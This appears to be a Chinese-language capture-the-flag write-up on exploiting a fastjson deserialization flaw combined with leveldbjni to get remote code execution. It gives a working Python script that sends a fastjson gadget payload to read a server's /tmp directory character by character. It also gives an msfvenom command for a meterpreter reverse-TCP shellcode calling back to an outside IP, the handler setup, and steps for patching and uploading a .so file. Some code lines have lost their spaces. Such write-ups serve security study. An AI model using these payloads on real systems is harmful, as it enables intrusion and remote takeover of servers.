解题过程

由代码可看到,依赖中使用了fastjson和org.fusesource.leveldbjni,通过这fastjosn进行反序列化,并结合leveldbjni进行rce。

找到参考文档:

  1. https://i.blackhat.com/USA21/Wednesday-Handouts/US-21-Xing-How-I-Used-a-JSON.pdf

以及skay小姐姐对上面议题的代码分析:

http://noahblog.360.cn/blackhat-2021yi-ti-xiang-xi-fen-xi-fastjsonfan-xu-lie-hua-lou-dong-ji-zai-qu-kuai-lian-ying-yong-zhong-de-shen-tou-li-yong-2/

读取文件目录,获取so文件名。
需要先访问一次/test接口生成数据库和so文件,再读取文件名。

import requests
import os
import sys
import re
importstring
#step1
#read /tmp/ directory to find so file
host = "http://11.1.1.18:8080"
def step1():
global host
    result = []
def getArrayData(ch):
out= []
for c in result:
out.append(str(ord(c)))
out.append(str(ord(ch)))
return','.join(out)
def poc(ch):
        url = '/hello'
        jsonstr = '{"abc":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.BOMInputStream","delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":"netdoc:///tmp/"},"charsetName":"utf-8","bufferSize":1024},"boms":[{"charsetName":"utf-8","bytes":[%s]}]},"address":{"$ref":"$.abc.BOM"}}'
        data = {
'data': jsonstr % getArrayData(ch)
}
        proxy = {'http':'127.0.0.1:8080'}
        proxy = {}
        rsp = requests.post(host+url, data=data, proxies=proxy)
if"bytes"in rsp.text:
returnTrue
else:
returnFalse
whileTrue:
for ch instring.printable+'\r\n':
if poc(ch):
                result.append(ch)
print('step1>', ''.join(result))
break
step1()

image.png

二进制文件修改分析。
通过议题ppt给出的shellcode注入位置,是在文件偏移0x197b0处。
image.png
反汇编代码如下:
image.png
然而这里的空间比较小,只能jump到另外的位置去,将shellcode放到空的代码区局,找起来不方便。
这里参考skay小姐姐的方法,放到如下图的函数中,将shellcode设置为反弹msf的shellcode。
image.png
image.png

生成shellcode
msfvenom -a x64 --platform Linux-p linux/x64/meterpreter/reverse_tcp LHOST=39.103.160.59 LPORT=4444> shellcode
监听
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
exploit -j

写文件。
问题:测试时写文件,发现文件存在,则上传的文件为.bak结尾。
image.png
但是代码中给了一段copy覆盖的代码,用来解决这个问题。
参考skay小姐姐的base64编码的方法:

http://noahblog.360.cn/blackhat-2021yi-ti-xiang-xi-fen-xi-fastjsonfan-xu-lie-hua-lou-dong-ji-zai-qu-kuai-lian-ying-yong-zhong-de-shen-tou-li-yong-2/

接下来就是将修改后的so文件上传并替换了,文件名为通过第一步获取到的文件名。
上传后,再次访问/test接口,触发rce。
image.png
image.png